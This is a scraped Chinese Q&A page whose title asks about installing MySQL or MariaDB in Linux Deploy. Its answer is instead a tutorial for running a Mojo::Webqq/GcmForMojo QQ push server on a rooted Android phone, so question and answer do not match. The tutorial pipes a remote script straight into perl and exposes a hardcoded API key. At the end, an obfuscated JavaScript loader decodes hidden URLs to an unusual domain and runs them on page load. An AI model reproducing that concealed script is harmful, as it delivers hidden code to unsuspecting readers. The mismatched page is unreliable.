Linux deploy 安装MySQL 或 mariadb 问题

2025-01-23 06:22:37
推荐回答(1个)
回答1:

国内APP的相互之间唤醒十分严重,大多数用户在不root,没有xposed的情况下很难压制住应用之间的相互唤醒,虽然天猫、淘宝这些可以直接扔空调狗里面(如何免root使用空调狗请参见我之前写的文章),但是QQ,微信这些却不行(万一漏了小姐姐发来的消息怎么办),加上前一段时间换了手机,于是手里又有闲置的手机了,又看到酷安上面有一款GcmForMojo,可以通过自己的VPS来给自己的手机推送QQ收到的消息,于是我根据网上的一些资料,搭配找到的linux FOR arm的镜像用手机弄了一个服务端来推送消息

介绍:GcmForMojo这个功能是可以“将QQ和微信的消息通过FCM/GCM/MiPush/HwPush/MzPush推送到你的手机”,所以效果就是省电,省心,省流量,当然,美中不足的是你需要一台24小时不关机的电脑,但是太过于浪费,所以可以使用旧手机或者平板来干。

具体步骤:

1、配置安装Linux

2、SSH连接Linux

3、安装环境和程序

4、GCM客户端设置

5、修改配置文件并运行服务端

6.、GcmForMojo内回复功能

前提:服务端手机需要ROOT

软件:《GcmForMojo》《Linux Deploy》《JuiceSSH》《ES文件浏览器》

需要常驻:服务端手机Linux Deploy,客户端手机GcmForMojo启动运行,保持网络连接(黑域?绿色守护?神隐模式?电池优化?你需要让这些放过这两个APP)。

好了,教程开始。需要注意的是,P.S.G/Fcm均不推荐在国内使用。

一:服务端安装Linux Deploy github

安装地址:点此前往

Google Play:点此前往

P.S.因为自身网络原因无法访问的请到文章末尾,末尾有链接。

二:开始配置linux

1、配置安装Linux

Linux Deploy

左上角设置建议勾选锁定WIFI,其它保持默认。

右下角配置按钮。

发行版:CentOS。

框架:默认armhfp,手机CPU支持64位可以选aarch64,平板Atom处理器选x86_64。

源地址:科大

安装类型:“文件”或者“目录的”,安装路径默认即可。

镜像大小1500MB以上,尽量大些,以免出问题。

用户名默认Android,密码默认随机(均可自行设置,后面”新建认证”要用到)。

root用户:密码需ssh登陆后改

本地化:选择zh_CN.UTF-8

勾选Enable允许SSH服务器启动端口默认22。

返回主界面,点右上角——选择安装。

终端输出“<<

安装时间大概10分钟左右,很短时间结束的话是没成功的。

如果安装失败可尝试把安装类型”文件”改为”目录的”。

配置过程以及内容截图如下:

重装Linux注意事项:

1、移除环境(右上角设置里)

2、删除文件夹”/data/user/0/ru.meefik.linuxdeploy”(re文件浏览器,或者es文件浏览器开root)

3、卸载重装Linux deploy

4、右下角设置更改之后,必须保证再进设置不会还原默认(如果还原请检查以上三步),可以随便改一项来测试,之后尝试重新安装linux

安装成功之后按启动

2.使用SSH来连接Linux

这里我们需要终端(在酷安里面直接搜索终端就行了,推荐21世纪的终端-NeoTerm)

运行命令

Ssh android@127.0.0.1

回车以后输入密码(就是先界面中的密码)

下面开始设置客户端

首先你需要修改root密码

Sudo passwd

回车,然后输入新的root密码

然后退出终端

重新执行

Ssh root@127.0.0.1

回车

输入密码,然后回车

这样,你就通过SSH连接到了你手机上的linux了

P.S.据说通过电脑指定手机IP也可以链接,不过没有尝试过

以下是在终端里SSH执行的内容(前面有#号的为命令,请在执行时勿输入#)

现在开始教程

首先安装依存关系

#yum -y groupinstall "Development Tools"

#yum install vim git openssl-devel perl cpan make gcc g++

由于我们需要 Mojo::WebQQ 这个Perl语言项目作为主机端接收QQ消息的平台,同时CentOS 6.8自带yum源没有Cpanm包管理,所以接下来需要安装Cpanm

#cpan -i App::cpanminus

由于我们是第一次使用Cpan,程序会要求我们进行最基础的设定,一路回车即可,直到你看到

CPAN needs access to at least one CPAN mirror.

As you did not allow me to connect to the internet

you need to supply a valid CPAN URL now.

Please enter the URL of your CPAN mirror

不要惊慌,这是Cpan要求你设定一个Cpan仓库源,到这里找一个就可以,国内的主机可以去 China 列寻找,选择一个镜像服务器节点离你最近的地方,墙外的服务器可以直接用主站作为镜像源

Cpanm安装完毕后,我们就可以安装 Mojo::WebQQ 了

#cpanm Mojo::Webqq

如果你的手机不能直通国际互联网,一般情况下下载速度会非常慢或者完全无法安装,这时候你可以这样做

#cpanm --mirror http://mirrors.163.com/cpan/ Mojo::Webqq

如果出现了安装错误,一般情况下是 Mojolicious 未成功安装造成的,这时候你需要手动安装

#curl -L https://cpanmin.us | perl - -M https://cpan.metacpan.org -n Mojolicious

成功安装 Mojolicious 之后再次执行

#cpanm Mojo::Webqq

#cpanm --mirror http://mirrors.163.com/cpan/ Mojo::Webqq

应该就可以成功安装了

Mojo::Weixin的安装方法大致相同

3.设定

Mojo::WebQQ安装完毕后,就可以开始进行设定了

首先我们需要新建一个 Perl 脚本文件来执行

#touch GCM.pl

我们使用 vim 对文件进行操作

#vi GCM.pl

可能有人还不是很熟悉 vim 的使用方法,这里简单介绍一下会用到的功能

i进入编辑模式

ESC退出编辑模式

在非编辑模式下

:wq存盘退出vim

:q!不存盘退出vim

这里给出一个 Perl 脚本文件的模板,具体内容请根据实际情况替换更改

use Mojo::Webqq;

#微信使用use Mojo::Weixin

my $client = Mojo::Webqq->new(log_encoding=>"utf-8");

$client->load("ShowMsg");

#请根据自己所需的推送服务进行选择并删除或注释不需要的部分,填写格式请仿照GCM的方式填写

#以下为GCM推送

$client->load("GCM",data=>{

api_url => 'https://gcm-http.googleapis.com/gcm/send',

api_key=>'AIzaSyB18io0hduB_3uHxKD3XaebPCecug27ht8',

registration_ids=>["输入你自己从GCMForMojo APP中获取到的令牌"],

allow_group=>["接受群消息的号码,如需要推送全部群消息可删除这一行,每个群号码之间使用"",分隔"],

ban_group=>[],

allow_discuss=>[],

ban_discuss=>[],

#此处为讨论组,填写格式同上

});

#以下为MiPush推送

$client->load("MiPush",data=>{

registration_ids=>[""],

allow_group=>[""],

ban_group=>[],

allow_discuss=>[],

ban_discuss=>[],

});

#以下为HwPush推送

$client->load("HwPush",data=>{

registration_ids=>[""],

allow_group=>[""],

ban_group=>[],

allow_discuss=>[],

ban_discuss=>[],

});

#以下为FmPush推送

$client->load("FmPush",data=>{

registration_ids=>[""],

allow_group=>[""],

ban_group=>[],

allow_discuss=>[],

ban_discuss=>[],

});

$client->load("Openqq",data=>{

#如果是微信改为Openwx

listen => [{host=>"0.0.0.0",port=>5000}, ] ,

#如果是推送微信的话需要保证端口不重复,并请保证所设定的端口已经在防火墙内放行,同时需要在APP内设定好推送服务器的地址和端口

});

#不需要APP内回复功能请删除以上三行(不包括被#号注释掉的几行)

$client->run();

保存退出后执行

#perl GCM.pl

这时候你的 GCMForMojo APP应该会弹出一条检测到二维码事件的通知,点击它,使用手机端QQ扫描这个二维码,你的 GCMForMojo 就跑起来了

注意事项

Perl进程并不会后台运行!!!同时如果你的SSH连接中断的话当前终端下运行的全部会话均会被杀死,若想保持后台运行且断掉SSH连接后依旧可正常工作,请使用 screen 命令

#screen -S docker

#perl GCM.pl

然后请按 Ctrl+A ,再按 D 键使此 screen 进入后台驻守,然后就可以中断SSH连接了,如果需要恢复此 screen 的话,请执行

#screen -r docker

如果你没有能在 /storage/emulated/0/gcmformojo/ 里找到下载的二维码图片或接收到 GCMForMojo 的二维码事件通知,那么很可能你的 Mojo::WebQQ 版本过旧,如果需要升级 Mojo::WebQQ 的话,有两种方式

Cpanm仓库更新

#cpanm Mojo::Webqq

#cpanm --mirror http://mirrors.163.com/cpan/ Mojo::Webqq

Git仓库源编译安装升级

#yum install perl-ExtUtils-MakeMaker git

#git clone https://github.com/sjdy521/Mojo-Webqq.git

#cd Mojo-Webqq

#perl Makefile.PL

#make

#make install

#make clean

以后更新时

#cd Mojo-Webqq

#git pull

#perl Makefile.PL

#make

#make install

#make clean

Mojo::Weixin 的更新方式类似,请自行替换相应字符串

然后再执行

#perl GCM.pl

应该就可以看到二维码图片或接收到通知了

由于 OpenQQ 组件使用 HTTP 请求而不是更安全的 HTTPS 请求,这样会很容易被他人监听,并有可能以你的身份发送消息,所以为了安全起见,强烈建议以加盐或开启 HTTPS 加密的方式增强安全性

感谢Milkice同学整理增强安全性的方法,原文链接在此

加盐

在 GCM.pl 文件内加入以下内容

use Mojo::Webqq;

use Digest::MD5 qw(md5 md5_hex md5_base64);

#请确保上一行加入在文件头行,否则会报错

#以下略

$client->load("Openqq",data=>{

listen => [{host=>"0.0.0.0",port=>5000}, ] ,

auth => sub {

my($param,$controller) = @_;

my $secret = 'salt';

#请将该行salt改为你自定义的盐值,并在Android端内设定好你所自定义的盐值

my $text='';

foreach $key (sort keys %$param){

if($key ne 'sign'){

$value =$param->{$key};

$text.=$value;

}

}

if($param->{sign} eq md5_hex($text.$secret) ){

return 1;

}

else{

return 0;

}

}

});

以下略

加盐有什么用呢?

盐(Salt),在密码学中,是指通过在密码任意固定位置插入特定的字符串,让散列后的结果和使用原始密码的散列结果不相符,这种过程称之为“加盐”。

(Via Wikipedia)

通俗来讲,这就是一个很简单的校验,如同一个密码,这样就可以很简单的解决之前提到的盗用问题,如果需要解决监听问题,你需要开启 HTTPS 加密

HTTPS 加密

在 GCM.pl 文件内加入以下内容

#以上略

$client->load("Openqq",data=>{

listen => [{

host =>"0.0.0.0",

port =>443,

#请求监听端口,默认443,也可以自定义

tls =>1,

#开启https请求支持

tls_ca =>"/etc/tls/ca.crt"

#可选,ca证书路径

tls_cert=>"/etc/tls/server.crt"

#服务器证书路径

tls_key =>"/etc/tls/server.key"},],

#证书对应的key文件

});

HTTPS 证书可以使用 Let's Encrypt 这个免费的证书签发机构的证书,可信赖度不像之前 StartSSL 那么差,除了三个月需要续签一次以外没有什么大问题,签发和续期证书的步骤网上有很多,自行 Google 一下就好

服务端设定好后把 Android 端的服务器上将 http://xxxxxxxx:xxxx 改为 https://xxxxxxxx:xxxx 即可

注意,如果需要 HTTPS 加密,你需要申请一个域名并绑定在你的 推送服务器 上,否则你是无法签发可被信任的证书的,除非你选择了 自签发证书 ,但这样做会更麻烦

P.S.如果cpanm安装不成功,可以试试

发现yum安装perl无效,编译安装perl后安装cpanm包管理才行。

#wget http://www.cpan.org/src/5.0/perl-5.24.1.tar.gz

#tar -xzf perl-5.24.1.tar.gz

#cd perl-5.24.1

#./Configure -des -Dprefix=$HOME/localperl

#make

#make install

P.S.

通过HTTP代理连接Google FCM推送服务器

由于众所周知的原因,中国大陆无法直连FCM推送服务器。这种情况下为了能够向FFM客户端推送消息,可以在 config.js中的 push_proxy 选项中指定FFM服务端连接Google FCM推送服务器时所使用的HTTP代理。具体思路请参考 这个issue 。

客户端内回复功能:

https://www.ngrok.cc/#down-client一般手机(高通、联发科)选择Linux ARM版本,x86架构选Linux 32Bit版本

下载解压然后(sunny文件)上传到linux目录,这里我是扔到了root目录

注册并登陆: https://www.ngrok.cc

购买开通隧道,端口为配置文件设置的(例如我的5000)

复制隧道id粘贴替换到下文

Ssh连接Linux逐条运行下面命令

#screen -S n

#cd /root

#chmod a+x sunny

#./sunny clientid +你的隧道ID

在转发一行出现你当时注册的网址时就好了

把网址复制到GCM客户端即可回复消息。

文中所提到的工具下载链接

P.S.本文中涉及到的引用均遵循知识共享署名-非商业性使用-相同方式共享4.0国际许可协议

其中涉及到的原作品地址以及作者如下

作者kotomei

链接:https://gist.github.com/kotomei/5367a003cd16d05e075c21a7f360b09a

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();